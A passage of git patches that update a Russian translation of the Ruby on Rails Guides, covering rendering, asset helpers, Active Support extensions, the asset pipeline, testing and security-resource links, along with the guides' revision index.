образом ничего не будет присвоено переменной `@books`, которую возможно требует вьюха `index`. Способ исправить это - использовать перенаправление вместо рендера: +С кодом в такой форме, вероятно, будет проблема, если переменная `@book` равна `nil`. Помните, `render :action` не запускает какой-либо код в указанном экшне, и таким образом ничего не будет присвоено переменной `@books`, которую, возможно, потребует вьюха `index`. Один из способов исправить это - использовать перенаправление вместо рендера: ```ruby def index @@ -660,11 +657,11 @@ def show end ``` -С таким кодом браузер сделает новый запрос для индексной страницы, код в методе `index` запустится, и все будет хорошо. +С помощью этого кода браузер сделает новый запрос для индексной страницы, код в методе `index` запустится, и все будет хорошо. Единственный недостаток этого кода в том, что он требует круговорот через браузер: браузер запрашивает экшн show с помощью `/books/1`, и контроллер обнаруживает, что книг нет, поэтому отсылает отклик-перенаправление 301 браузеру, сообщающий перейти на `/books/`, браузер выполняет и посылает новый запрос контроллеру, теперь запрашивая экшн `index`, затем контроллер получает все книги в базе данных и рендерит шаблон index, отсылает его обратно браузеру, который затем показывает его на экране. -Пока это небольшое приложение, такое состояние не может быть проблемой, но иногда стоит подумать, если время отклика важно. Можем продемонстрировать один из способов управления этим с помощью хитрого примера: +Пока это небольшое приложение, такая добавленная задержка не может быть проблемой, но иногда стоит подумать о том, является ли время отклика проблемой. Можем продемонстрировать один из способов управления этим с помощью хитрого примера: ```ruby def index @@ -685,7 +682,7 @@ end ### Использование `head` для создания отклика, содержащего только заголовок -Метод `head` существует, чтобы позволить возвращать отклики браузеру, содержащие только заголовки. Метод `head` принимает число или символ (смотрите [таблицу соответствия](#the-status-option)), представляющие код статуса HTTP. Аргумент опций интерпретируется как хэш имен заголовков и значений. Например, можно возвратить только заголовок ошибки: +Метод `head` может использоваться для отправки браузеру откликов, содержащих только заголовки. Метод `head` принимает число или символ (смотрите [таблицу соответствия](#the-status-option)), представляющие код статуса HTTP. Аргумент опций интерпретируется как хэш заголовков имен и значений. Например, можно возвратить только заголовок ошибки: ```ruby head :bad_request @@ -727,7 +724,7 @@ Cache-Control: no-cache Структурирование макетов ------------------------ -Когда Rails рендерит вьюху как отклик, он делает это путем объединения вьюхи с текущим макетом, используя правила для нахождения текущего макета, которые мы рассмотрели ранее. В макетах у вас есть доступ к трем инструментам объединения различных кусочков результата для формирования общего отклика: +Когда Rails рендерит вьюху как отклик, он делает это путем объединения вьюхи с текущим макетом, используя правила для нахождения текущего макета, которые были рассмотрены ранее. В макетах у вас есть доступ к трем инструментам для объединения различных кусочков результата для формирования общего отклика: * Теги ресурсов * `yield` и `content_for` @@ -735,7 +732,7 @@ Cache-Control: no-cache ### Хелперы ресурсных тегов -Хелперы ресурсных тегов представляют методы для создания HTML, связывающие вьюхи с ресурсами, такими как каналы, Javascript, таблицы стилей, изображения, видео и аудио. Есть шесть типов хелперов ресурсных тегов: +Хелперы ресурсных тегов предоставляют методы для создания HTML, связывающие вьюхи с лентами новостей, JavaScript, таблицами стилей, изображениями, видео и аудио. В Rails доступно шесть хелперов ресурсных тегов: * `auto_discovery_link_tag` * `javascript_include_tag` @@ -744,13 +741,13 @@ Cache-Control: no-cache * `video_tag` * `audio_tag` -Эти теги можно использовать в макетах или других вьюхах, хотя `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag` как правило используются в разделе `` макета. +Эти теги можно использовать в макетах или других вьюхах, хотя `auto_discovery_link_tag`, `javascript_include_tag` и `stylesheet_link_tag` как правило используются в области `` макета. -WARNING: Хелперы ресурсных тегов _не_ проверяют существование ресурсов по заданному месту расположения; они просто предполагают, что вы знаете, что делаете, и создают ссылку. +WARNING: Хелперы ресурсных тегов _не_ проверяют существование ресурсов по заданному расположению; они просто предполагают, что вы знаете, что делаете, и создают ссылку. #### Присоединение каналов с помощью `auto_discovery_link_tag` -Хелпер `auto_discovery_link_tag` создает HTML, который многие браузеры и программы чтения каналов могут использовать для определения наличия каналов RSS, Atom или ленты JSON. Он принимает тип ссылки (`:rss`, `:atom` или `:json`), хэш опций, которые передаются через url_for, и хэш опций для тега: +Хелпер `auto_discovery_link_tag` создает HTML-код, который большинство браузеров и агрегаторов новостей могут использовать для определения наличия каналов RSS, Atom или JSON лент. Он принимает тип ссылки (`:rss`, `:atom` или `:json`), хэш опций, которые передаются через url_for, и хэш опций для тега: ```erb <%= auto_discovery_link_tag(:rss, {action: "feed"}, @@ -763,13 +760,13 @@ WARNING: Хелперы ресурсных тегов _не_ проверяют * `:type` определяет явный тип MIME. Rails генерирует подходящий тип MIME автоматически * `:title` определяет заголовок ссылки. Значение по умолчанию это значение `:type` в верхнем регистре, например, "ATOM" или "RSS". -#### Присоединение файлов Javascript с помощью `javascript_include_tag` +#### Присоединение файлов JavaScript с помощью `javascript_include_tag` -Хелпер `javascript_include_tag` возвращает HTML тег `script` для каждого предоставленного источника. +Хелпер `javascript_include_tag` возвращает HTML-тег `script` для каждого предоставленного источника. -При использовании Rails с включенным "Asset Pipeline":/asset-pipeline enabled, этот хелпер создаст ссылку на `/assets/javascripts/`, а не на `public/javascripts`, что использовалось в прежних версиях Rails. Эта ссылка обслуживается файлопроводом (asset pipeline). +При использовании Rails с включенным [Asset Pipeline](/asset-pipeline), этот хелпер создаст ссылку на `/assets/javascripts/`, а не на `public/javascripts`, которая использовалась в более ранних версиях Rails. Затем эта ссылка обслуживается файлопроводом (asset pipeline). -Файл JavaScript в приложении Rails или engine Rails размещается в одном из трех мест: `app/assets`, `lib/assets` или `vendor/assets`. Эти места детально описаны в [разделе про организацию ресурсов в руководстве по Asset Pipeline](/asset-pipeline#how-to-use-the-asset-pipeline). +Файл JavaScript в приложении Rails или Rails Engine размещается в одном из трех мест: `app/assets`, `lib/assets` или `vendor/assets`. Эти места детально описаны в [разделе про организацию ресурсов в руководстве по Asset Pipeline](/asset-pipeline#how-to-use-the-asset-pipeline). Можно определить полный путь относительно корня документа или URL, по желанию. Например, сослаться на файл JavaScript, находящийся в директории с именем `javascripts` в одной из `app/assets`, `lib/assets` или `vendor/assets`, можно так: @@ -805,9 +802,9 @@ Rails тогда выдаст такой тег `script`: #### Присоединение файлов CSS с помощью `stylesheet_link_tag` -Хелпер `stylesheet_link_tag` возвращает HTML тег `` для каждого предоставленного источника. +Хелпер `stylesheet_link_tag` возвращает HTML-тег `` для каждого предоставленного источника. -При использовании Rails с включенным "Asset Pipeline" (файлопроводом), этот хелпер создаст ссылку на `/assets/stylesheets/`. Эта ссылка будет затем обработана гемом Sprockets. Файл таблицы стилей может быть размещен в одном из трех мест: `app/assets`, `lib/assets` или `vendor/assets`. +При использовании Rails с включенным "Asset Pipeline", этот хелпер создаст ссылку на `/assets/stylesheets/`. Эта ссылка будет затем обработана гемом Sprockets. Файл таблицы стилей может быть размещен в одном из трех мест: `app/assets`, `lib/assets` или `vendor/assets`. Можно определить полный путь относительно корня документа или URL. Например, на файл таблицы стилей в директории `stylesheets`, размещенной в одной из `app/assets`, `lib/assets` или `vendor/assets`, можно сослаться так: @@ -841,9 +838,9 @@ Rails тогда выдаст такой тег `script`: #### Присоединение изображений с помощью `image_tag` -Хелпер `image_tag` создает HTML тег `` для определенного файла. По умолчанию файлы загружаются из `public/images`. +Хелпер `image_tag` создает HTML-тег `` для определенного файла. По умолчанию файлы загружаются из `public/images`. -WARNING: Отметьте, что вы должны определить расширение у файла с изображением. +WARNING: Обратите внимание, что нужно указывать расширение изображения. ```erb <%= image_tag "header.png" %> @@ -861,7 +858,7 @@ WARNING: Отметьте, что вы должны определить рас <%= image_tag "icons/delete.gif", {height: 45} %> ``` -Или альтернативный текст, если пользователь отключил показ изображений в браузере. Если вы не определили явно тег alt, по умолчанию будет указано имя файла с большой буквы и без расширения, например, эти два тега изображения возвратят одинаковый код: +Или альтернативный текст, если пользователь отключил показ изображений в браузере. Если вы не определили явно тег alt, по умолчанию будет указано имя файла с большой буквы и без расширения. Например, эти два тега изображения возвратят одинаковый код: ```erb <%= image_tag "home.gif" %> @@ -874,7 +871,7 @@ WARNING: Отметьте, что вы должны определить рас <%= image_tag "home.gif", size: "50x20" %> ``` -В дополнение к вышеописанным специальным тегам, можно предоставить итоговый хэш стандартных опций HTML, таких как `:class`, или `:id`, или `:name`: +В дополнение к вышеописанным специальным тегам, можно предоставить итоговый хэш стандартных опций HTML, таких как `:class` или `:id`, или `:name`: ```erb <%= image_tag "home.gif", alt: "Go Home", @@ -898,13 +895,13 @@ WARNING: Отметьте, что вы должны определить рас Подобно `image_tag`, можно предоставить путь или абсолютный, или относительный к директории `public/videos`. Дополнительно можно определить опцию `size: "#{width}x#{height}"`, как и в `image_tag`. Теги видео также могут иметь любые опции HTML, определенные в конце (`id`, `class` и др.). -Тег видео также поддерживает все HTML опции `
hello", [:filter_html]).to_html NOTE: _Те же меры безопасности должны быть приняты для экшенов Ajax, что и для "нормальных". Однако, есть как минимум одно исключение: вывод экранируется уже в контроллере, если экшен не рендерит вьюху._ -Если используете [плагин in_place_editor](https://rubygems.org/gems/in_place_editing) или экшены, возвращающие строку, а не рендерите вьюху, _нужно экранировать возвращаемое значение в экшене_. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода `h()`. +Если используете [плагин in_place_editor](https://rubygems.org/gems/in_place_editing) или экшены, возвращающие строку, а не рендерите вьюху, _нужно экранировать возвращаемое значение в экшне_. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода `h()`. ### Инъекции командной строки From f89bbec53d53559fa33936162484af870b405d27 Mon Sep 17 00:00:00 2001 From: ydakuka Date: Mon, 26 Jun 2017 22:45:16 +0300 Subject: [PATCH 316/932] Update 24.06 --- source/active_record_postgresql.md | 7 ++- source/active_record_querying.md | 2 - source/active_record_validations.md | 2 +- source/active_support_core_extensions.md | 36 ++++++++---- source/asset_pipeline.md | 16 +----- source/association_basics.md | 4 +- source/configuring.md | 2 - source/development_dependencies_install.md | 2 +- source/generators.md | 8 --- source/getting_started.md | 4 +- source/index.yml | 67 +++++++++++----------- source/initialization.md | 2 +- source/layouts_and_rendering.md | 2 +- source/plugins.md | 6 +- source/security.md | 7 ++- source/testing.md | 10 ++-- source/upgrading_ruby_on_rails.md | 2 +- source/working_with_javascript_in_rails.md | 25 ++++++++ 18 files changed, 112 insertions(+), 92 deletions(-) diff --git a/source/active_record_postgresql.md b/source/active_record_postgresql.md index fed04254..334454e6 100644 --- a/source/active_record_postgresql.md +++ b/source/active_record_postgresql.md @@ -111,16 +111,21 @@ Profile.where("settings->'color' = ?", "yellow") # => #"yellow", "resolution"=>"1280x1024"}>]> ``` -### Типы JSON +### JSON и JSONB * [определение типа](https://postgrespro.ru/docs/postgrespro/9.6/datatype-json.html) * [функции и операторы](https://postgrespro.ru/docs/postgrespro/9.6/functions-json.html) ```ruby # db/migrate/20131220144913_create_events.rb +# ... для типа данных json: create_table :events do |t| t.json 'payload' end +# ... или для типа данных jsonb: +create_table :events do |t| + t.jsonb 'payload' +end # app/models/event.rb class Event < ApplicationRecord diff --git a/source/active_record_querying.md b/source/active_record_querying.md index f2559150..895968fe 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -498,8 +498,6 @@ Article.where(author: author) Author.joins(:articles).where(articles: { author: author }) ``` -NOTE: Значения не могут быть символами. Например, нельзя сделать `Client.where(status: :active)`. - #### Интервальные условия ```ruby diff --git a/source/active_record_validations.md b/source/active_record_validations.md index 8a75cd9e..d8cafc23 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -730,7 +730,7 @@ end ```ruby class Computer < ApplicationRecord validates :mouse, presence: true, - if: ["market.retail?", :desktop?], + if: [Proc.new { |c| c.market.retail? }, :desktop?], unless: Proc.new { |c| c.trackpad.present? } end ``` diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 0e07a73d..7f2b07a5 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -742,7 +742,9 @@ m.anonymous? # => false NOTE: Определено в `active_support/core_ext/module/anonymous.rb`. -### Передача метода +### Делегирование метода + +#### `delegate` Макрос `delegate` предлагает простой способ передать методы. @@ -826,13 +828,29 @@ delegate :size, to: :attachment, prefix: :avatar NOTE: Определено в `active_support/core_ext/module/delegation.rb` +#### `delegate_missing_to` + +Представьте, что нужно делегировать все, отсутствующее в объекте `User` в` Profile`. Макрос `delegate_missing_to` позволяет реализовать это быстро: + +```ruby +class User < ApplicationRecord + has_one :profile + + delegate_missing_to :profile +end +``` + +Целью может быть все что угодно, вызываемое внутри объекта, например, переменные экземпляра, методы, константы и т.д. Делегируются только публичные методы цели. + +NOTE: Определено в `active_support/core_ext/module/delegation.rb`. + ### Переопределение методов Бывают ситуации, когда нужно определить метод с помощью `define_method`, но вы не знаете, существует ли уже метод с таким именем. Если так, то выдается предупреждение, если оно включено. Такое поведение хоть и не ошибочно, но не элегантно. Метод `redefine_method` предотвращает такое потенциальное предупреждение, предварительно убирая существующий метод, если нужно. -NOTE: Определено в `active_support/core_ext/module/remove_method.rb` +NOTE: Определено в `active_support/core_ext/module/remove_method.rb`. (extensions-to-class) Расширения для `Class` -------------------- @@ -920,7 +938,7 @@ A.new.x # NoMethodError Если не нужен предикат, передайте `instance_predicate: false`, и он не будет определен. -NOTE: Определено в `active_support/core_ext/class/attribute.rb` +NOTE: Определено в `active_support/core_ext/class/attribute.rb`. #### `cattr_reader`, `cattr_writer` и `cattr_accessor` @@ -928,9 +946,8 @@ NOTE: Определено в `active_support/core_ext/class/attribute.rb` ```ruby class MysqlAdapter < AbstractAdapter - # Generates class methods to access @@emulate_booleans. - cattr_accessor :emulate_booleans - self.emulate_booleans = true + # Создает методы класса для доступа к @@emulate_booleans. + cattr_accessor :emulate_booleans, default: true end ``` @@ -939,8 +956,7 @@ end ```ruby module ActionView class Base - cattr_accessor :field_error_proc - @@field_error_proc = Proc.new{ ... } + cattr_accessor :field_error_proc, default: Proc.new { ... } end end ``` @@ -952,7 +968,7 @@ end ```ruby class MysqlAdapter < AbstractAdapter # Создает методы класса для доступа к @@emulate_booleans со значением по умолчанию true. - cattr_accessor(:emulate_booleans) { true } + cattr_accessor :emulate_booleans, default: true end ``` @@ -1227,7 +1243,7 @@ Active Support определяет псевдонимы `String#start_with?` и "foo".ends_with?("o") # => true ``` -NOTE: Определены в `active_support/core_ext/string/starts_ends_with.rb`. +NOTE: Определено в `active_support/core_ext/string/starts_ends_with.rb`. ### `strip_heredoc` diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index 0cb1e60c..9b4fcccd 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -297,12 +297,12 @@ Sprockets использует файлы манифеста для опреде ```js // ... -//= require jquery -//= require jquery_ujs +//= require rails-ujs +//= require turbolinks //= require_tree . ``` -В файлах JavaScript директивы начинаются с `//=`. В вышеприведенном примере файл использует директивы `require` и `require_tree`. Директива `require` используется, чтобы указать Sprockets на требуемые файлы. Здесь затребованы файлы `jquery.js` и `jquery_ujs.js`, которые доступны где-то по пути поиска для Sprockets. Не нужно явно указывать расширение. Sprockets предполагает, что вы требуете файл `.js`, когда выполняется из файла `.js`. +В файлах JavaScript директивы начинаются с `//=`. В вышеприведенном примере файл использует директивы `require` и `require_tree`. Директива `require` используется, чтобы указать Sprockets на требуемые файлы. Здесь затребованы файлы `rails-ujs.js` и `turbolinks.js`, которые доступны где-то по пути поиска для Sprockets. Не нужно явно указывать расширение. Sprockets предполагает, что вы требуете файл `.js`, когда выполняется из файла `.js`. Директива `require_tree` говорит Sprockets рекурсивно включить _все_ файлы JavaScript в указанной директории в результирующий файл. Эти пути должны быть определены только относительно файла манифеста. Также можно использовать директиву `require_directory`, включающая все файлы JavaScript только в определенной директории, без рекурсии. @@ -372,16 +372,6 @@ NOTE. Если хотите использовать несколько файл Параметр `body` требуется Sprockets. -### Проверка ошибок во время выполнения - -По умолчанию файлопровод проверит потенциальные ошибки в режиме development во время выполнения. Чтобы отключить это поведение, можно установить: - -```ruby -config.assets.raise_runtime_errors = false -``` - -Когда эта опция true, файлопровод проверит, все ли файлы ресурсов, загруженные в приложении, включены в список `config.assets.precompile`. Если `config.assets.digest` также true, файлопровод затребует, чтобы все запросы к файлам ресурсов включали метки. - ### Raise an Error When an Asset is Not Found Если используется sprockets-rails >= 3.2.0, можно настроить, что произойдет, когда выполнен поиск ресурса, и ничего не было найдено. Если выключить "asset fallback", тогда будет вызвана ошибка, когда ресурс не может быть найден. diff --git a/source/association_basics.md b/source/association_basics.md index 844fdc74..89d1f293 100644 --- a/source/association_basics.md +++ b/source/association_basics.md @@ -941,7 +941,7 @@ class Author < ApplicationRecord end ``` -NOTE: Опцию :counter_cache необходимо указывать только на стороне `belongs_to` связи. +NOTE: Опцию `:counter_cache` необходимо указывать только на стороне `belongs_to` связи. Столбцы кэша счетчика добавляются в список атрибутов модели только для чтения посредством `attr_readonly`. @@ -1797,7 +1797,7 @@ end class Author < ApplicationRecord has_many :recent_books, -> { order('published_at desc').limit(100) }, - class_name: "Book", + class_name: "Book" end ``` diff --git a/source/configuring.md b/source/configuring.md index 9e9d18fb..23b7523e 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -148,8 +148,6 @@ Rails будет использовать эту конкретную настр * `config.assets.enabled` это флажок, контролирующий, будет ли включен файлопровод (asset pipeline). По умолчанию он устанавливается `true`. -* `config.assets.raise_runtime_errors` Установка этому флажку `true` включит дополнительную проверку ошибок во время выполнения. Рекомендован в `config/environments/development.rb` для минимизации неожиданного поведения при деплое в `production`. - * `config.assets.css_compressor` определяет используемый компрессор CSS. По умолчанию установлен `sass-rails`. Единственное альтернативное значение в настоящий момент это `:yui`, использующее гем `yui-compressor`. * `config.assets.js_compressor` определяет используемый компрессор JavaScript. Возможные варианты `:closure`, `:uglifier` и `:yui` требуют использование гемов `closure-compiler`, `uglifier` или `yui-compressor` соответственно. diff --git a/source/development_dependencies_install.md b/source/development_dependencies_install.md index 2a69859e..ac000542 100644 --- a/source/development_dependencies_install.md +++ b/source/development_dependencies_install.md @@ -59,7 +59,7 @@ $ sudo apt-get install sqlite3 libsqlite3-dev Если у вас Fedora или CentOS, то так ```bash -$ sudo yum install sqlite3 sqlite3-devel +$ sudo yum install libsqlite3x libsqlite3x-devel ``` Если у вас Arch Linux, нужно запустить: diff --git a/source/generators.md b/source/generators.md index 9c740453..1e5410a1 100644 --- a/source/generators.md +++ b/source/generators.md @@ -667,14 +667,6 @@ rake "db:migrate" * `:env` - Указывает среду, в которой запускать таск rake. * `:sudo` - Запускать ли этот таск с помощью `sudo`. По умолчанию `false`. -### `capify!` - -Запускает команду `capify` от Capistrano в корне приложения, которая создает конфигурацию Capistrano. - -```ruby -capify! -``` - ### `route` Добавляет текст в файл `config/routes.rb`: diff --git a/source/getting_started.md b/source/getting_started.md index da053a81..12c32720 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -1095,11 +1095,11 @@ end ``` -Тут мы используем `link_to` другим образом. Мы передаем именованный маршрут как второй аргумент, и опции как иной аргумент. Опции `method: :delete` и `data: { confirm: 'Are you sure?' }` используются как атрибуты html5, поэтому при нажатии ссылки, Rails сначала покажет пользователю диалог подтверждения, а затем отправит ссылку с помощью метода `delete`. Это выполняется с помощью файла JavaScript `jquery_ujs`, который автоматически включается в макет приложения (`app/views/layouts/application.html.erb`) при создании приложения. Без этого файла диалог подтверждения не будет показан. +Тут мы используем `link_to` другим образом. Мы передаем именованный маршрут как второй аргумент, и опции как иной аргумент. Опции `method: :delete` и `data: { confirm: 'Are you sure?' }` используются как атрибуты html5, поэтому при нажатии ссылки, Rails сначала покажет пользователю диалог подтверждения, а затем отправит ссылку с помощью метода `delete`. Это выполняется с помощью файла JavaScript `rails-ujs`, который автоматически включается в макет приложения (`app/views/layouts/application.html.erb`) при создании приложения. Без этого файла диалог подтверждения не будет показан. ![Диалог подтверждения](/images/getting_started/confirm_dialog.png) -TIP: Узнайте больше про ненавязчивый адаптер jQuery (jQuery UJS) в руководстве [Работа с JavaScript в Rails](/working-with-javascript-in-rails). +TIP: Узнайте больше про ненавязчивый JavaScript в руководстве [Работа с JavaScript в Rails](/working-with-javascript-in-rails). Наши поздравления, теперь вы можете создавать, просматривать все и по отдельности, обновлять и уничтожать статьи. diff --git a/source/index.yml b/source/index.yml index a2abdc85..9508f97e 100644 --- a/source/index.yml +++ b/source/index.yml @@ -15,7 +15,7 @@ pages: - title: Rails для начинающих path: getting-started-with-rails file: getting_started.md - revision: d49866a8d0ae9069d4c875a979de50a61f2ad663 + revision: e42365e129c42bfb60b2960881a1f0c97bd897f0 date: 01/06/2017 - title: Основы Active Record @@ -33,8 +33,8 @@ pages: - title: Валидации Active Record path: active-record-validations file: active_record_validations.md - revision: 96c525f2509a9ec1890c5218f6a65b22660b97f7 - date: 14/03/2017 + revision: 7892b717a801e40ee4db1ac6622d844ae6998132 + date: 05/06/2017 - title: Колбэки Active Record path: active-record-callbacks @@ -45,20 +45,20 @@ pages: - title: Связи Active Record path: active-record-associations file: association_basics.md - revision: 43b09b0c9ccc70f6514c441970d0d0ac03ce525b - date: 24/05/2017 + revision: 58de07f70def7b03e7941ecfe993980ca9c4acc7 + date: 10/06/2017 - title: Интерфейс запросов Active Record path: active-record-query-interface file: active_record_querying.md - revision: 980ac58a51a1af0e2acdce0212ad64245929c181 - date: 30/05/2017 + revision: 3b308f3321bada45eaad78ee14219dd5d98106fb + date: 22/06/2017 - title: Active Record для PostgreSQL path: active-record-postgresql file: active_record_postgresql.md - revision: 415e17d0b54681545d36a0f43d4cd8761de77bee - date: 29/12/2016 + revision: 927e98621983d33795a99434492c3bb8ee7cd764 + date: 27/06/2017 - title: Основы Active Model path: active-model-basics @@ -75,8 +75,8 @@ pages: - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails file: layouts_and_rendering.md - revision: 062e5f2b068fbce74102d7301b58a3cd7c5da883 - date: 20/05/2017 + revision: 4d433f8d21972d738f625bb4e41065e179ea01a8 + date: 24/06/2017 - title: Хелперы форм Rails path: rails-form-helpers @@ -99,8 +99,8 @@ pages: - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md - revision: 7c3a99eeca07f602bb1e5659656e8eab0a4eacfe - date: 15/01/2017 + revision: 76bb3660242a50fab50a34ad745b4fe9c677b83c + date: 11/06/2017 - title: Инструметарий Active Support path: active-support-instrumentation @@ -129,14 +129,14 @@ pages: - title: Руководство по тестированию приложений на Rails path: a-guide-to-testing-rails-applications file: testing.md - revision: e40c7031844d81379dd7fb530e52156b97df0f9c - date: 29/05/2017 + revision: 2759a53a54fc7d834141adca22f3e76d928a7064 + date: 06/06/2017 - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide file: security.md - revision: b88200f10376a3d73c34a7db0347acc7b06bad39 - date: 28/05/2017 + revision: dafe3f82cf3120b1e61ffdaa3c20e989c87c851f + date: 26/06/2017 - title: Отладка приложений на Rails path: debugging-rails-applications @@ -147,8 +147,8 @@ pages: - title: Конфигурирование приложений на Rails path: configuring-rails-applications file: configuring.md - revision: c17a670a2161c7e4deb462aea5dd25b7f92e5e05 - date: 28/05/2017 + revision: 019c7f92f09170f0f87105f544ae4eff49e83de7 + date: 17/06/2017 - title: Руководство по командной строке Rails path: a-guide-to-the-rails-command-line @@ -165,14 +165,14 @@ pages: - title: Asset Pipeline path: asset-pipeline file: asset_pipeline.md - revision: 6cc153959ac04a39d4081a2cf23e1ff83c4efe3b - date: 30/05/2017 + revision: 019c7f92f09170f0f87105f544ae4eff49e83de7 + date: 17/06/2017 - title: Работа с JavaScript в Rails path: working-with-javascript-in-rails file: working_with_javascript_in_rails.md - revision: 3508909dc8afb76d3781a7282a1cbc4bb5b07a93 - date: 21/05/2017 + revision: f006edeb940e8636bab012f098f0aa125c72c4a6 + date: 20/06/2017 - title: Engine для начинающих path: engines @@ -183,8 +183,8 @@ pages: - title: Процесс инициализации в Rails path: initialization file: initialization.md - revision: 073f4ecb14927fcb884f8f06fb2a7d0d1a5f3d10 - date: 17/01/2017 + revision: fd54d8449af7d1a3bada23f5475bdaa723304cd4 + date: 28/06/2017 - title: Автозагрузка и перезагрузка констант path: constant_autoloading_and_reloading @@ -201,8 +201,8 @@ pages: - title: Основы создания плагинов Rails path: plugins file: plugins.md - revision: 18e599940a6070f54c50c4f1e694aaf166cdaf9e - date: 19/08/2016 + revision: b6b0c99ff3e8ace3f42813154dbe4b8ad6a98e6c + date: 31/05/2017 - title: Rails on Rack path: rails-on-rack @@ -213,8 +213,8 @@ pages: - title: Создание и настройка генераторов Rails path: generators file: generators.md - revision: 40bdbce191ad90dfea43dad51fac5c4726b89392 - date: 15/05/2017 + revision: e062c961e9867b938d4e7a33a25a3de8d0fa67df + date: 18/06/2017 - title: Использование Rails для API-приложений path: api-app @@ -243,14 +243,14 @@ pages: - title: Рекомендации для руководств по Ruby on Rails path: development_dependencies_install file: development_dependencies_install.md - revision: 7718d470e9027fb1925237be65ba82f3ace660df - date: 20/02/2017 + revision: 133236fa0a99ad18e573e1edc0e48f4f20a32f62 + date: 17/06/2017 - title: Руководство по обновлению Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md - revision: 06dfda12aeb7dd1c530169ab96eef09869a3a425 - date: 30/04/2017 + revision: f59559d70af237f8a52e4ebde34b39d834f2787e + date: 07/06/2017 - title: Руководство по шаблонам приложения Rails path: rails-application-templates @@ -318,4 +318,3 @@ plan: old: - file: 2_2_release_notes.md - file: 2_3_release_notes.md - - file: nested_model_forms.md diff --git a/source/initialization.md b/source/initialization.md index 9253265a..3a8ac645 100644 --- a/source/initialization.md +++ b/source/initialization.md @@ -127,7 +127,7 @@ Rails::Command.invoke command, ARGV ### `rails/command.rb` -Когда кто-то вводит команду Rails, `invoke` пытается найти команду для данного пространства имен и выполнить команду, если она найдена. +Когда кто-то вводит команду Rails, `invoke` пытается найти команду для данного пространства имен и выполняет команду, если она найдена. Как показано, `Rails::Command` выводит справку автоматически, если `args` пустой. diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index e20c81ee..6cbcb81a 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -1150,7 +1150,7 @@ TIP: Для содержимого, располагаемого на всех В таком случае возможно использовать партиал без необходимости объявления всех локальных переменных. -Каждый партиал также имеет локальную переменную с именем, как у партиала (без подчеркивания). Можете передать объект в эту локальную переменную через опцию `:object`: +Каждый партиал также имеет локальную переменную с именем, как у партиала (без начального символа подчеркивания). Можете передать объект в эту локальную переменную через опцию `:object`: ```erb <%= render partial: "customer", object: @new_customer %> diff --git a/source/plugins.md b/source/plugins.md index 164c6395..9327e703 100644 --- a/source/plugins.md +++ b/source/plugins.md @@ -320,8 +320,7 @@ module Yaffle module ClassMethods def acts_as_yaffle(options = {}) - cattr_accessor :yaffle_text_field - self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s + cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s end end end @@ -389,8 +388,7 @@ module Yaffle module ClassMethods def acts_as_yaffle(options = {}) - cattr_accessor :yaffle_text_field - self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s + cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s include Yaffle::ActsAsYaffle::LocalInstanceMethods end diff --git a/source/security.md b/source/security.md index 70bd4ae5..378df4b1 100644 --- a/source/security.md +++ b/source/security.md @@ -1030,6 +1030,7 @@ Rails.application.secrets.some_api_key! # => вызовет KeyError: key not fo Картина безопасности меняется, и важно идти в ногу со временем, поскольку пропуск новой уязвимости может быть катастрофическим. Ниже перечислены дополнительные источники о безопасности (Rails): -* Подпишитесь на [рассылку](http://groups.google.com/group/rubyonrails-security) о безопасности Rails -* [Будьте в курсе о других уровнях приложений](http://secunia.com/) (у них тоже есть еженедельная рассылка) -* [Хороший блог по безопасности](https://www.owasp.org), включающий [Шпаргалку по XSS](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) +* Подпишитесь на [рассылку](http://groups.google.com/group/rubyonrails-security) о безопасности Rails. +* [Brakeman - cканер безопасности Rails](http://brakemanscanner.org/) - Для выполнения статического анализа безопасности для Rails приложений. +* [Будьте в курсе о других уровнях приложений](http://secunia.com/) (у них тоже есть еженедельная рассылка). +* [Хороший блог по безопасности](https://www.owasp.org), включающий [Шпаргалку по XSS.](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) diff --git a/source/testing.md b/source/testing.md index a8f17675..6abedc50 100644 --- a/source/testing.md +++ b/source/testing.md @@ -552,9 +552,7 @@ create test/fixtures/articles.yml Системное тестирование ---------------------- -Системные тесты — это полнобраузерные тесты, которые могут быть использованы для тестирования взаимодействия с вашим приложением и JavaScript. В качестве основы системные тесты используют Capybara. - -Системные тесты позволяют запускать тесты либо в реальном браузере, либо с помощью headless драйвера, чтобы протестировать полное взаимодействие пользователя с вашим приложением. +Системные тесты позволяют тестировать взаимодействие пользователя с вашим приложением, запускать тесты либо в реальном, либо в headless браузере. Системные тесты используют Capybara под капотом. Для создания системных тестов Rails используют директорию приложения `test/system`. Rails предоставляет генератор для создания скелета системного теста. @@ -597,7 +595,7 @@ class ApplicationSystemTestCase < ActionDispatch::SystemTestCase end ``` -Имя драйвера — обязательный аргумент для `driven_by`. Опциональные аргументы, который можно передать в `driven_by` это `:using` для браузера (используется только в Selenium), и `:screen_size`, чтобы изменить размер экрана для скриншотов. +Имя драйвера — обязательный аргумент для `driven_by`. Опциональные аргументы, который можно передать в `driven_by` это `:using` для браузера (используется только в Selenium), :screen_size, чтобы изменить размер экрана для скриншотов, и `:options`, которые 